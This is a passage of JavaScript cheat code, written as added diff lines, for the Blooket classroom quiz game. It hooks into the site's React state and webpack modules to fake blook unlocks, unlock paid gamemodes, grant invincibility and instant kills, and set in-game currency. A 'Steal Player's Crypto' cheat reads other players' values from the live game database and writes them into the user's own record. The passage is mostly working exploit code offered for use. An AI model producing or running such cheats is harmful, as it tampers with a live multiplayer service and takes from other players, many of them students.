velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-bottom": return { + x: 0, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-70, -20), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "top": return { + x: Object(I.l)(0, scene.scene.cameras.main.worldView.width), + y: -50, + scale: Object(I.l)(.7, 1), + angle: 90, + velocity: Object(I.l)(0, 50), + gravity: 700, + angVelocity: Object(I.l)(-150, 150), + lifespan: 2500 + }; + case "right-shower": return { + x: scene.scene.cameras.main.worldView.width, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-180, -130), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-shower": return { + x: 0, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-50, 0), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "right-diamond": { + var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: scene.scene.cameras.main.worldView.width, + y: a, + scale: Object(I.l)(.7, 1), + angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + } + } + case "left-diamond": { + var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: 0, + y: n, + scale: Object(I.l)(.7, 1), + angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + } + } + default: return {}; + } + }; + if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) { + switch (scene.rarity) { + case "Uncommon": { + for (let i = 0; i < 2; i++) { + let n = scene.particles.get(); + n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Rare": { + for (var o = 0; o < 2; o++) { + var r = scene.particles.get(); + r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Epic": { + for (var s = 0; s < 2; s++) { + var i = scene.particles.get(); + i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Legendary": { + for (var l = 0; l < 3; l++) { + var c = scene.particles.get(); + c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Chroma": { + for (var u = 0; u < 3; u++) { + var d = scene.particles.get(); + d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`)) + } + break; + } + } + this.nextParticle = 20; + this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0)); + } + } + } + return function (box) { + if (window.location.pathname !== "/market") return alert("This must be ran on the market page"); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let packs = webpack('fGzD'); + packs = Object.keys(packs.a).reduce((obj, pack) => (obj.packs.includes(pack) && (obj.data[pack] = Object.fromEntries(packs.b(pack))), obj), { packs: Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt), data: {} }).data; + if (packs[box]) { + function weighted(pack) { + let weights = []; + const items = Object.keys(packs[pack]); + for (const key of items) weights.push(packs[pack][key] + (weights[items.indexOf(key) - 1] || 0)); + const choice = weights[weights.length - 1] * Math.random(); + return items[weights.findIndex(w => w >= choice)]; + } + const blook = weighted(box); + const allBlooks = Object.values(webpack.c).find(x => x.exports?.a?.Elephant).exports.a; + stateNode.setState({ + loadingPack: false, + openPack: true, + unlockedBlook: blook, + tokens: stateNode.state.tokens, + newUnlock: true, + game: { + type: phaser.WEBGL, + parent: "phaser-market", + width: "100%", + height: "100%", + scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH }, + transparent: true, + physics: { default: "arcade" }, + scene: new Particles(allBlooks[blook].rarity) + }, + canOpen: true + }); + } else alert("I couldn't find that box!"); + } + } catch { } + })() + }, + { + name: "Simulate Unlock", + description: "Simulate unlocking most of the blooks", + inputs: [ + { + name: "Blook", + type: "options", + options: () => { + try { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + const cache = Object.values(webpack.c); + const packs = cache.find(x => typeof x.exports.a?.Breakfast == "number").exports.a; + return Object.entries(cache.find(x => x.exports.a?.Black).exports.a).reduce((a, [b, c]) => (packs[c.realSet || c.set] ? a.concat(b) : a), []); + } catch { return []; } + } + } + ], + run: (function () { + try { + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + let values = Object.values(webpack.c), + blooks = values.find(x => x.exports?.a?.Chick?.set).exports.a, + packs = values.find(x => x.exports.a?.Breakfast).exports.a, + allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {}); + let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports; + let scene = {}; + class Particles extends phaser.Scene { + constructor(rarity) { + super(); + this.rarity = rarity.toLowerCase(); + } + preload() { + switch (this.rarity) { + case "uncommon": + this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 }); + break; + case "rare": + this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 }); + break; + case "epic": + this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 }); + this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 }); + this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 }); + break; + case "legendary": + this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 }); + break; + case "chroma": + this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 }); + } + } + create() { + scene.scene = this; + scene.rarity = ""; + scene.particles = this.physics.add.group({ + classType: new phaser.Class({ + Extends: phaser.GameObjects.Image, + initialize: function () { + phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1"); + this.setDepth(3); + this.lifespan = 0; + }, + spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) { + this.setTexture(texture); + this.setActive(true); + this.setVisible(true); + this.setPosition(x, y); + this.setScale(scale); + this.targets = []; + scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity); + this.body.setGravityY(gravity); + this.body.setAngularVelocity(angle); + this.lifespan = lifespan; + }, + update: function (t, s) { + this.lifespan -= s; + if (this.lifespan > 0) return; + this.setActive(!1); + this.setVisible(!1); + } + }), + runChildUpdate: !0 + }); + this.nextParticle = 0; + this.numExplosions = 0; + this.game.events.on("start-particles", (t) => { + scene.rarity = t; + this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1; + }); + } + update(e, t) { + const I = webpack("74sb"); + let Z = function (e) { + switch (e) { + case "center": { + var t = Object(I.l)(-115, -65); + return { + x: scene.scene.cameras.main.worldView.width / 2, + y: scene.scene.cameras.main.worldView.height / 2, + scale: Object(I.l)(.7, 1), + angle: t, + velocity: Object(I.l)(600, 750), + gravity: 700, + angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175), + lifespan: 2500 + } + } + case "right-bottom": return { + x: scene.scene.cameras.main.worldView.width, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-160, -110), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-bottom": return { + x: 0, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-70, -20), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "top": return { + x: Object(I.l)(0, scene.scene.cameras.main.worldView.width), + y: -50, + scale: Object(I.l)(.7, 1), + angle: 90, + velocity: Object(I.l)(0, 50), + gravity: 700, + angVelocity: Object(I.l)(-150, 150), + lifespan: 2500 + }; + case "right-shower": return { + x: scene.scene.cameras.main.worldView.width, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-180, -130), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-shower": return { + x: 0, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-50, 0), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "right-diamond": { + var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: scene.scene.cameras.main.worldView.width, + y: a, + scale: Object(I.l)(.7, 1), + angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + } + } + case "left-diamond": { + var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: 0, + y: n, + scale: Object(I.l)(.7, 1), + angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + } + } + default: return {}; + } + }; + if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) { + switch (scene.rarity) { + case "Uncommon": { + for (let i = 0; i < 2; i++) { + let n = scene.particles.get(); + n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Rare": { + for (var o = 0; o < 2; o++) { + var r = scene.particles.get(); + r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Epic": { + for (var s = 0; s < 2; s++) { + var i = scene.particles.get(); + i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Legendary": { + for (var l = 0; l < 3; l++) { + var c = scene.particles.get(); + c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Chroma": { + for (var u = 0; u < 3; u++) { + var d = scene.particles.get(); + d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`)) + } + break; + } + } + this.nextParticle = 20; + this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0)); + } + } + } + return function (blook) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + if (window.location.pathname == "/market") { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + loadingPack: false, + openPack: true, + unlockedBlook: blook, + newUnlock: true, + game: { + type: phaser.WEBGL, + parent: "phaser-market", + width: "100%", + height: "100%", + scale: { + mode: phaser.Scale.NONE, + autoCenter: phaser.Scale.CENTER_BOTH + }, + transparent: true, + physics: { + default: "arcade" + }, + scene: new Particles(allBlooks[blook].rarity) + }, + canOpen: true + }); + } else alert("This can only be ran on the market page!"); + } + } catch { } + })() + }, + { + name: "Unlock Plus Gamemodes", + description: "Allows you to play any gamemode that is plus only", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState(state => (state.gameModes.forEach(gm => gm.plusOnly = false), state)); + } + } + ], + }, + brawl: { + name: "Monster Brawl", + img: "https://media.blooket.com/image/upload/v1655233787/Media/survivor/xp/Blue_xp_2.svg", + cheats: [ + { + name: "Double Enemy XP", + description: "Doubles enemy XP drop value", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.val *= 2 } + enemies.children.entries.forEach(e => e.val *= 2); + } + } + }, + { + name: "Half Enemy Speed", + description: "Makes enemies move 2x slower", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.speed *= .5 } + enemies.children.entries.forEach(e => e.speed *= .5); + } + } + }, + { + name: "Instant Kill", + description: "Sets all enemies health to 1", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.hp = 1 } + enemies.children.entries.forEach(e => e.hp = 1); + } + } + }, + { + name: "Invincibility", + description: "Makes you invincible", + run: function () { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) collider.collideCallback = () => { }; + } + }, + { + name: "Magnet", + description: "Pulls all xp towards you", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('magnetTime')).collideCallback({ active: true }, { active: true, setActive() { }, setVisible() { } }); + } + }, + { + name: "Max Current Abilities", + description: "Maxes out all your current abilities", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + for (const [ability, level] of Object.entries(stateNode.state.abilities)) for (let i = 0; i < (10 - level); i++) stateNode.state.game.scene.game.events.emit("level up", ability, stateNode.state.abilities[ability]++); + stateNode.setState({ + level: stateNode.state.game.scene.level = [1, 3, 5, 10, 15, 25, 35].sort((a, b) => Math.abs(a - stateNode.state.level) - Math.abs(b - stateNode.state.level))[0] - 1 + }); + } + }, + { + name: "Next Level", + description: "Skips to the next level", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let { object1: player, object2: xp } = stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('emit("xp"')); + xp.get().spawn(player.x, player.y, ((e) => 1 === e ? 1 : e < 5 ? 5 : e < 10 ? 10 : e < 20 ? 20 : e < 30 ? 30 : e < 40 ? 40 : e < 50 ? 50 : 100)(stateNode.state.level) - stateNode.xp); + } + }, + { + name: "Remove Obstacles", + description: "Removes all rocks and obstacles", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(body => { + try { + if (body.gameObject.frame.texture.key.includes("obstacle")) body.gameObject.destroy(); + } catch { } + }); + } + }, + { + name: "Kill Enemies", + description: "Kills all current enemies", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1)); + } + }, + { + name: "Reset Health", + description: "Resets health and gives invincibility for 3 seconds", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn(); + } + } + ], + }, + cafe: { + name: "Caf\xe9", + img: "https://media.blooket.com/image/upload/v1655161189/Media/survivor/Pizza_lvl1.svg", + style: { transform: "rotate(22.5deg)" }, + cheats: [ + { + name: "Max Items", + description: "Maxes out items in the shop (Only usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ items: Object.fromEntries(Object.entries(stateNode.state.items).map(x => [x[0], 5])) }); + } + } + }, + { + name: "Remove Customers", + description: "Skips the current customers (Not usable in the shop)", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.customers.forEach((customer, i) => Object.keys(customer).length && stateNode.removeCustomer(i, true)); + } + }, + { + name: "Reset Abilities", + description: "Resets used abilities in shop (Only usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ abilities: Object.fromEntries(Object.entries(stateNode.state.abilities).map(x => [x[0], 5])) }); + } + } + }, + { + name: "Set Cash", + description: "Sets cafe cash", + inputs: [{ + name: "Amount", + type: "number" + }], + run: function (cafeCash) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ cafeCash }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + ca: cafeCash + } + }); + } + }, + { + name: "Stock Food", + description: "Stocks all food to 99 (Not usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe") alert("This can't be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ foods: stateNode.state.foods.map(e => ({ ...e, stock: 99, level: 5 })) }); + } + } + } + ], + }, + crypto: { + name: "Crypto Hack", + img: "https://media.blooket.com/image/upload/v1661496293/Media/uiTest/CryptoIcon.svg", + cheats: [ + { + name: "Choice ESP", + description: "Shows what each choice will give you", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let { text } = stateNode.state.choices[0]; + let chest = document.querySelector('[class^=styles__feedbackContainer___]'); + if (chest.children.length <= 4) { + let choice = document.createElement('div'); + choice.style.color = "white"; + choice.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif"; + choice.style.fontSize = "2em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.marginTop = "675px"; + choice.innerText = text; + chest.append(choice); + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Password ESP", + description: "Highlights the correct password", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { state } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + if (state.stage == "hack") [...document.querySelector('div[class^=styles__buttonContainer]').children].forEach(button => { + if (button.innerText == state.correctPassword) return; + button.style.outlineColor = "rgba(255, 64, 64, 0.8)"; + button.style.backgroundColor = "rgba(255, 64, 64, 0.8)"; + button.style.textShadow = "0 0 1px #f33"; + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Always Triple", + description: "Always get triple crypto", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ choices: [{ type: "mult", val: 3, rate: .075, blook: "Brainy Bot", text: "Triple Crypto" }] }), 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Guess", + description: "Automatically guess the correct password", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { state } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + if (state.stage == "hack") for (const button of document.querySelector('div[class^=styles__buttonContainer]').children) button.innerText == state.correctPassword && button.click(); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Remove Hack", + description: "Removes an attacking hack", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ hack: "" }); + } + }, + { + name: "Set Crypto", + description: "Sets crypto", + inputs: [{ + name: "Amount", + type: "number" + }], + run: function (amount) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ crypto: amount, crypto2: amount }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: stateNode.state.password, + cr: amount + } + }); + } + }, + { + name: "Set Password", + description: "Sets hacking password", + inputs: [{ + name: "Custom Password", + type: "string" + }], + run: function (password) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ password }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: password, + cr: stateNode.state.crypto + } + }); + } + }, + { + name: "Steal Player's Crypto", + description: "Steals all of someone's crypto", + inputs: [{ + name: "Player", + type: "options", + options: () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + return new Promise(res => stateNode.props.liveGameController?._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([])); + } + }], + run: function (target) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) { + let [player, { cr }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase()); + stateNode.setState({ crypto: stateNode.state.crypto + cr, crypto2: stateNode.state.crypto + cr }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: stateNode.state.password, + cr: stateNode.state.crypto + cr, + tat: `${player}:${cr}` + } + }); + } + }); + } + } + ], + }, + defense: { + name: "Tower Defense", + img: "https://media.blooket.com/image/upload/v1657235025/Media/survivor/Laser_Lvl1.svg", + cheats: [ + { + name: "Earthquake", + description: "Shuffles around towers", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + eventName: "Earthquake", + event: { + short: "e", + color: "#805500", + icon: "fas fa-mountain", + desc: "All of your towers get mixed up", + rate: .02 + }, + buyTowerName: "", + buyTower: {} + }, () => stateNode.eventTimeout = setTimeout(() => stateNode.setState({ event: {}, eventName: "" }), 6e3)); + stateNode.tiles.forEach(row => row.forEach((col, i) => col === 3 && (row[i] = 0))); + let tiles = stateNode.tiles.flatMap((_, y) => _.map((__, x) => __ === 0 && ({ x, y }))).filter(Boolean).sort(() => .5 - Math.random()); + stateNode.towers.forEach(tower => { + let { x, y } = tiles.shift(); + tower.move(x, y, stateNode.tileSize); + stateNode.tiles[y][x] = 3; + }); + } + }, + { + name: "Max Tower Stats", + description: "Makes all placed towers overpowered", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.towers.forEach(tower => { + tower.range = 100; + tower.fullCd = tower.cd = 0; + tower.damage = 1e6; + }); + } + }, + { + name: "Remove Ducks", + description: "Removes ducks", + run: function () { + let { stateNode: { ducks, tiles } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + ducks.forEach(x => { tiles[x.y][x.x] = 0; }); + ducks.length = 0; + } + }, + { + name: "Remove Enemies", + description: "Removes all the enemies", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.enemies = stateNode.futureEnemies = []; + } + }, + { + name: "Remove Obstacles", + description: "Lets you place towers anywhere", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.tiles = stateNode.tiles.map(row => row.fill(0)); + } + }, + { + name: "Set Damage", + description: "Sets damage", + inputs: [{ + name: "Damage", + type: "number" + }], + run: function (dmg) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.dmg = dmg; + } + }, + { + name: "Set Round", + description: "Sets the current round", + inputs: [{ + name: "Round", + type: "number" + }], + run: function (round) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ round }); + } + }, + { + name: "Set 